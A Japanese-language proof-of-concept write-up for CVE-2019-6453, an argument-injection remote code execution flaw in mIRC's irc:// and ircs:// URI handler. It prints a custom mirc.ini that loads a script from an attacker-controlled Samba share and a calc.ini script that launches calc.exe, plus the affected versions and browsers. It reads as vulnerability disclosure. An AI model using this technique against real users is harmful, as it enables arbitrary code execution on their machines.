
CVE-2019-6453の計算証明
mIRCのirc:// URIプロトコルハンドラを通じて、リモートコード実行の脆弱性を発見しました。mIRCは引数リストの終了を示す**--などの記号を使用しないため、攻撃者はirc://リンクを通じてmIRCに引数を渡し、攻撃者が制御するSambaファイルサーバーからカスタムmirc.ini**を読み込ませることで任意のコードを実行できます。**ircs://**も同様に機能することに注意してください。
このPoCには、mirc.ini、calc.ini、poc.htmlの3つのファイルが必要です。攻撃者側でSambaファイルサーバーが動作していることを前提としています。例として、以下のコードはホスト127.0.0.1で動作しているものとします(つまり、以下のファイルの127.0.0.1を実際のサーバーのアドレスに置き換えて試してください)。
mirc.iniは、ファイルサーバーのC:\mirc-poc\mirc.iniに配置されるカスタム設定ファイルです。
[rfiles]
n2=\\127.0.0.1\C$\mirc-poc\calc.ini
calc.iniは、ファイルサーバーのC:\mirc-poc\calc.iniに配置されるリモートスクリプトファイルです。
[script]
n0=on *:START: {
n1= /run calc.exe
n2=}
mIRCがirc:// URIスキームのデフォルトハンドラとして設定されており、ブラウザがペイロードをエンコードしない場合、poc.htmlにアクセスするだけで動作するはずです。ブラウザと設定によっては、プロンプトが表示される可能性があります(Firefoxでは表示されません)。

このPoCはmIRC <7.55で動作します。
このPoCはEdge 42.17134(最新のプレビューバージョン)およびFirefox 64.0.2(最新リリース)でトリガーできます。Chromeでは、ChromeのURIプロトコルの処理方法(URIがアプリケーションに渡される前にエンコードされる)のため動作しません。